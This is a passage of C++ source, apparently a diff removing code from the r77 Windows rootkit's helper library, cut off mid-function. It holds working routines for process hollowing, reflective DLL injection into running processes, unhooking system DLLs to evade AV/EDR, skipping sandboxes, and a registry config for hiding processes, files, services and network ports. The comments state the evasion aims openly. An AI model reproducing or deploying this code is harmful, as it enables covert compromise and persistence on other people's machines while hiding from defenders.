explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; - - PACL acl; - if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; - - PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!securityDescriptor || - !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || - !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; - - SECURITY_ATTRIBUTES securityAttributes; - securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); - securityAttributes.lpSecurityDescriptor = securityDescriptor; - securityAttributes.bInheritHandle = FALSE; - - return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); -} - -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - - if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) - { - switch (ntHeaders->OptionalHeader.Magic) - { - case 0x10b: - *is64Bit = FALSE; - return TRUE; - case 0x20b: - *is64Bit = TRUE; - return TRUE; - } - } - - return FALSE; -} -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) -{ -#ifdef _WIN64 - nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readgsqword(0x60))->Ldr; -#else - nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readfsdword(0x30))->Ldr; -#endif - - nt::PLDR_DATA_TABLE_ENTRY firstPebEntry = (nt::PLDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; - nt::PLDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; - do - { - // Find module by hash - if (pebEntry->BaseDllName.Buffer && libc::strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash) - { - LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); - LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); - - // Find function by hash - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) - { - if (libc::strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash) - { - return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); - } - } - - return NULL; - } - } - while ((pebEntry = (nt::PLDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); - - return NULL; -} -BOOL RunPE(LPCWSTR path, LPBYTE payload) -{ - // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. - // This is a workaround to the well known stability issue of process hollowing. - for (DWORD i = 0; i < 5; i++) - { - DWORD processId = 0; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); - - if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) - { - PROCESS_INFORMATION processInformation; - STARTUPINFOW startupInfo; - ZeroMemory(&processInformation, sizeof(processInformation)); - ZeroMemory(&startupInfo, sizeof(startupInfo)); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) - { - processId = processInformation.dwProcessId; - - //TODO: NtUnmapViewOfSection here - - LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) - { - BOOL sectionsWritten = TRUE; - - for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER); - - if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL)) - { - sectionsWritten = FALSE; - break; - } - } - - if (sectionsWritten) - { - LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); - if (context) - { - context->ContextFlags = CONTEXT_FULL; - - if (GetThreadContext(processInformation.hThread, context)) - { -#ifdef _WIN64 - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) - { - context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#else - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) - { - context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#endif - } - } - } - } - } - } - - if (processId != 0) - { - HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId); - if (process) - { - TerminateProcess(process, 0); - } - } - } - - return FALSE; -} -BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast) -{ - BOOL result = FALSE; - - // Unlike with "regular" DLL injection, the bitness must be checked explicitly. - BOOL is64Bit; - if (Is64BitProcess(processId, &is64Bit) && (is64Bit == TRUE) == (sizeof(LPVOID) == 8)) - { - HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId); - if (process) - { - // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS) - if (!IsProcessExcluded(processId)) - { - // Do not inject critical processes (smss, csrss, wininit, etc.). - ULONG breakOnTermination; - if (NT_SUCCESS(NtQueryInformationProcess(process, PROCESSINFOCLASS::ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination) - { - // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above. - DWORD integrityLevel; - if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID) - { - // Get function pointer to the shellcode that loads the DLL reflectively. - DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain"); - if (entryPoint) - { - LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (allocatedMemory) - { - if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL)) - { - HANDLE thread = NULL; - if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) - { - if (fast) - { - // Fast mode is for bulk operations, where the return value of this function is ignored. - // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded. - result = TRUE; - } - else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0) - { - // Return TRUE, only if DllMain returned TRUE. - // DllMain returns FALSE, for example, if r77 is already injected. - DWORD exitCode; - if (GetExitCodeThread(thread, &exitCode)) - { - result = exitCode != 0; - } - } - - CloseHandle(thread); - } - } - } - } - } - } - } - - CloseHandle(process); - } - } - - return result; -} -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) -{ - BOOL is64Bit; - if (IsExecutable64Bit(image, &is64Bit) && is64Bit == (sizeof(LPVOID) == 8)) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); - LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); - LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); - - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) - { - if (strstr((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) - { - return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); - } - - nameDirectory++; - nameOrdinalDirectory++; - } - } - - return 0; -} -DWORD RvaToOffset(LPBYTE image, DWORD rva) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); - - if (rva < sections[0].PointerToRawData) - { - return rva; - } - else - { - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) - { - return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; - } - } - - return 0; - } -} -VOID UnhookDll(LPCWSTR name) -{ - if (name) - { - WCHAR path[MAX_PATH + 1]; - if (Is64BitOperatingSystem() && sizeof(LPVOID) == 4) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\"); - else lstrcpyW(path, L"C:\\Windows\\System32\\"); - - lstrcatW(path, name); - - // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. - HMODULE dll = GetModuleHandleW(name); - if (dll) - { - MODULEINFO moduleInfo = { }; - if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) - { - // Retrieve a clean copy of the DLL file. - HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (dllFile != INVALID_HANDLE_VALUE) - { - // Map the clean DLL into memory - HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - if (dllMapping) - { - LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); - if (dllMappedFile) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); - - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); - - // Find the .text section of the hooked DLL and overwrite it with the original DLL section - if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text")) - { - LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); - DWORD virtualSize = sectionHeader->Misc.VirtualSize; - - DWORD oldProtect; - VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); - RtlCopyMemory(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); - VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); - - break; - } - } - } - - CloseHandle(dllMapping); - } - - CloseHandle(dllFile); - } - } - - FreeLibrary(dll); - } - } -} -BOOL IsProcessExcluded(DWORD processId) -{ - WCHAR processName[MAX_PATH + 1]; - if (GetProcessFileName(processId, FALSE, processName, MAX_PATH)) - { - LPCWSTR exclusions[] = PROCESS_EXCLUSIONS; - for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++) - { - if (!lstrcmpiW(processName, exclusions[i])) - { - return TRUE; - } - } - } - - return FALSE; -} - -PINTEGER_LIST CreateIntegerList() -{ - PINTEGER_LIST list = new INTEGER_LIST(); - list->Count = 0; - list->Capacity = 16; - list->Values = new ULONG[list->Capacity]; - return list; -} -VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key) -{ - DWORD count; - if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - WCHAR valueName[100]; - - for (DWORD i = 0; i < count; i++) - { - DWORD valueNameLength = 100; - DWORD type; - DWORD value; - DWORD valueSize = sizeof(DWORD); - - if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value)) - { - IntegerListAdd(list, value); - } - } - } -} -VOID DeleteIntegerList(PINTEGER_LIST list) -{ - delete[] list->Values; - ZeroMemory(list, sizeof(INTEGER_LIST)); - delete list; -} -VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) -{ - if (list->Count == list->Capacity) - { - list->Capacity += 16; - PULONG newValues = new ULONG[list->Capacity]; - RtlCopyMemory(newValues, list->Values, list->Count * sizeof(ULONG)); - - PULONG oldValues = list->Values; - list->Values = newValues; - delete[] oldValues; - } - - list->Values[list->Count++] = value; -} -BOOL IntegerListContains(PINTEGER_LIST list, ULONG value) -{ - for (DWORD i = 0; i < list->Count; i++) - { - if (list->Values[i] == value) return TRUE; - } - - return FALSE; -} -BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB) -{ - if (listA == listB) - { - return TRUE; - } - else if (listA == NULL || listB == NULL) - { - return FALSE; - } - else if (listA->Count != listB->Count) - { - return FALSE; - } - else - { - for (ULONG i = 0; i < listA->Count; i++) - { - if (listA->Values[i] != listB->Values[i]) return FALSE; - } - - return TRUE; - } -} - -PSTRING_LIST CreateStringList(BOOL ignoreCase) -{ - PSTRING_LIST list = new STRING_LIST(); - list->Count = 0; - list->Capacity = 16; - list->IgnoreCase = ignoreCase; - list->Values = new LPWSTR[list->Capacity]; - return list; -} -VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength) -{ - DWORD count; - if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - WCHAR valueName[100]; - PWCHAR value = new WCHAR[maxStringLength + 1]; - - for (DWORD i = 0; i < count; i++) - { - DWORD valueNameLength = 100; - DWORD type; - DWORD valueSize = maxStringLength; - - if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value)) - { - StringListAdd(list, value); - } - } - - delete[] value; - } -} -VOID DeleteStringList(PSTRING_LIST list) -{ - for (ULONG i = 0; i < list->Count; i++) - { - delete[] list->Values[i]; - } - - delete[] list->Values; - ZeroMemory(list, sizeof(STRING_LIST)); - delete list; -} -VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) -{ - if (value) - { - if (list->Count == list->Capacity) - { - list->Capacity += 16; - LPWSTR *newValues = new LPWSTR[list->Capacity]; - RtlCopyMemory(newValues, list->Values, list->Count * sizeof(LPWSTR)); - - LPWSTR *oldValues = list->Values; - list->Values = newValues; - delete[] oldValues; - } - - list->Values[list->Count] = new WCHAR[lstrlenW(value) + 1]; - lstrcpyW(list->Values[list->Count++], value); - } -} -BOOL StringListContains(PSTRING_LIST list, LPCWSTR value) -{ - if (value) - { - for (DWORD i = 0; i < list->Count; i++) - { - if (list->IgnoreCase ? !lstrcmpiW(list->Values[i], value) : !lstrcmpW(list->Values[i], value)) return TRUE; - } - } - - return FALSE; -} -BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB) -{ - if (listA == listB) - { - return TRUE; - } - else if (listA == NULL || listB == NULL) - { - return FALSE; - } - else if (listA->Count != listB->Count) - { - return FALSE; - } - else - { - for (ULONG i = 0; i < listA->Count; i++) - { - if (listA->IgnoreCase && listB->IgnoreCase ? lstrcmpiW(listA->Values[i], listB->Values[i]) : lstrcmpW(listA->Values[i], listB->Values[i])) return FALSE; - } - - return TRUE; - } -} - -BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count) -{ - BOOL result = TRUE; - DWORD actualCount = 0; - - LPDWORD processes = new DWORD[10000]; - DWORD processCount = 0; - HMODULE *modules = new HMODULE[10000]; - DWORD moduleCount = 0; - BYTE moduleBytes[512]; - - if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount)) - { - processCount /= sizeof(DWORD); - - for (DWORD i = 0; i < processCount; i++) - { - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]); - if (process) - { - if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount)) - { - moduleCount /= sizeof(HMODULE); - - for (DWORD j = 0; j < moduleCount; j++) - { - if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL)) - { - WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)]; - if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE) - { - if (actualCount < *count) - { - r77Processes[actualCount].ProcessId = processes[i]; - r77Processes[actualCount].Signature = signature; - r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0; - } - else - { - result = FALSE; - } - - break; - } - } - } - } - - CloseHandle(process); - } - } - } - - delete[] processes; - delete[] modules; - - *count = actualCount; - return result; -} -BOOL DetachInjectedProcess(const R77_PROCESS &r77Process) -{ - BOOL result = FALSE; - - if (r77Process.Signature == R77_SIGNATURE) - { - HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process.ProcessId); - if (process) - { - // R77_PROCESS.DetachAddress is a function pointer to Rootkit::Detach - HANDLE thread = NULL; - if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process.DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) - { - result = TRUE; - CloseHandle(thread); - } - - CloseHandle(process); - } - } - - return result; -} -BOOL DetachInjectedProcess(DWORD processId) -{ - BOOL result = FALSE; - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId) - { - result = DetachInjectedProcess(r77Processes[i]); - break; - } - } - } - - delete[] r77Processes; - return result; -} -VOID DetachAllInjectedProcesses() -{ - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SIGNATURE) - { - DetachInjectedProcess(r77Processes[i]); - } - } - } - - delete[] r77Processes; -} -VOID TerminateR77Service(DWORD excludedProcessId) -{ - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId) - { - HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId); - if (process) - { - TerminateProcess(process, 0); - CloseHandle(process); - } - } - } - } - - delete[] r77Processes; -} - -PR77_CONFIG LoadR77Config() -{ - PR77_CONFIG config = new R77_CONFIG(); - config->StartupFiles = CreateStringList(TRUE); - config->HiddenProcessIds = CreateIntegerList(); - config->HiddenProcessNames = CreateStringList(TRUE); - config->HiddenPaths = CreateStringList(TRUE); - config->HiddenServiceNames = CreateStringList(TRUE); - config->HiddenTcpLocalPorts = CreateIntegerList(); - config->HiddenTcpRemotePorts = CreateIntegerList(); - config->HiddenUdpPorts = CreateIntegerList(); - - // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config - HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) - { - // Read startup files "startup" subkey. - HKEY startupKey; - if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH); - RegCloseKey(startupKey); - } - - // Read process ID's from the "pid" subkey. - HKEY pidKey; - if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey); - RegCloseKey(pidKey); - } - - // Read process names from the "process_names" subkey. - HKEY processNameKey; - if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH); - RegCloseKey(processNameKey); - } - - // Read paths from the "paths" subkey. - HKEY pathKey; - if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH); - RegCloseKey(pathKey); - } - - // Read service names from the "service_names" subkey. - HKEY serviceNameKey; - if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH); - RegCloseKey(serviceNameKey); - } - - // Read local TCP ports from the "tcp_local" subkey. - HKEY tcpLocalKey; - if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey); - RegCloseKey(tcpLocalKey); - } - - // Read remote TCP ports from the "tcp_remote" subkey. - HKEY tcpRemoteKey; - if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey); - RegCloseKey(tcpRemoteKey); - } - - // Read UDP ports from the "udp" subkey. - HKEY udpKey; - if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey); - RegCloseKey(udpKey); - } - - RegCloseKey(key); - } - - return config; -} -VOID DeleteR77Config(PR77_CONFIG config) -{ - DeleteStringList(config->StartupFiles); - DeleteIntegerList(config->HiddenProcessIds); - DeleteStringList(config->HiddenProcessNames); - DeleteStringList(config->HiddenPaths); - DeleteStringList(config->HiddenServiceNames); - DeleteIntegerList(config->HiddenTcpLocalPorts); - DeleteIntegerList(config->HiddenTcpRemotePorts); - DeleteIntegerList(config->HiddenUdpPorts); - ZeroMemory(config, sizeof(R77_CONFIG)); - delete config; -} -BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) -{ - if (configA == configB) - { - return TRUE; - } - else if (configA == NULL || configB == NULL) - { - return FALSE; - } - else - { - return - CompareStringList(configA->StartupFiles, configB->StartupFiles) && - CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) && - CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) && - CompareStringList(configA->HiddenPaths, configB->HiddenPaths) && - CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) && - CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) && - CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) && - CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts); - } -} -BOOL InstallR77Config(PHKEY key) -{ - if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS) - { - // Return TRUE, even if setting the DACL fails. - // If DACL creation failed, only elevated processes will be able to write to the configuration system. - PSECURITY_DESCRIPTOR securityDescriptor = NULL; - ULONG securityDescriptorSize = 0; - if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize)) - { - RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor); - LocalFree(securityDescriptor); - } - - return TRUE; - } - - return FALSE; -} -VOID UninstallR77Config() -{ - // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config - HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) - { - WCHAR subKeyName[1000]; - for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000) - { - RegDeleteKeyW(key, subKeyName); - } - - RegCloseKey(key); - } - - // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config - RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0); -} - -DWORD WINAPI ChildProcessListenerThread(LPVOID parameter) -{ - while (true) - { - HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CHILD_PROCESS_PIPE_NAME32 : CHILD_PROCESS_PIPE_NAME64); - while (pipe != INVALID_HANDLE_VALUE) - { - if (ConnectNamedPipe(pipe, NULL)) - { - DWORD processId; - DWORD bytesRead; - if (ReadFile(pipe, &processId, 4, &bytesRead, NULL)) - { - // Invoke the callback. The callback should inject r77 into the process. - ((PROCESSIDCALLBACK)parameter)(processId); - - // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called. - BYTE returnValue = 77; - DWORD bytesWritten; - WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL); - } - } - else - { - Sleep(1); - } - - DisconnectNamedPipe(pipe); - } - - Sleep(1); - } - - return 0; -} -VOID ChildProcessListener(PROCESSIDCALLBACK callback) -{ - CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL); -} -BOOL HookChildProcess(DWORD processId) -{ - BOOL result = FALSE; - - BOOL is64Bit; - if (Is64BitProcess(processId, &is64Bit)) - { - // Call either the 32-bit or the 64-bit r77 service and pass the process ID. - // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed in the same process. - - HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - if (pipe != INVALID_HANDLE_VALUE) - { - // Send the process ID to the r77 service. - DWORD bytesWritten; - WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL); - - // Wait for the response before returning. NtResumeThread should be called after r77 is injected. - BYTE returnValue; - DWORD bytesRead; - result = ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL) && returnValue == 77; - - CloseHandle(pipe); - } - } - - return result; -} - -DWORD WINAPI NewProcessListenerThread(LPVOID parameter) -{ - PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter; - - LPDWORD currendProcesses = new DWORD[10000]; - LPDWORD previousProcesses = new DWORD[10000]; - DWORD currendProcessCount = 0; - DWORD previousProcessCount = 0; - - while (true) - { - if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount)) - { - currendProcessCount /= sizeof(DWORD); - - for (DWORD i = 0; i < currendProcessCount; i++) - { - // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes. - BOOL 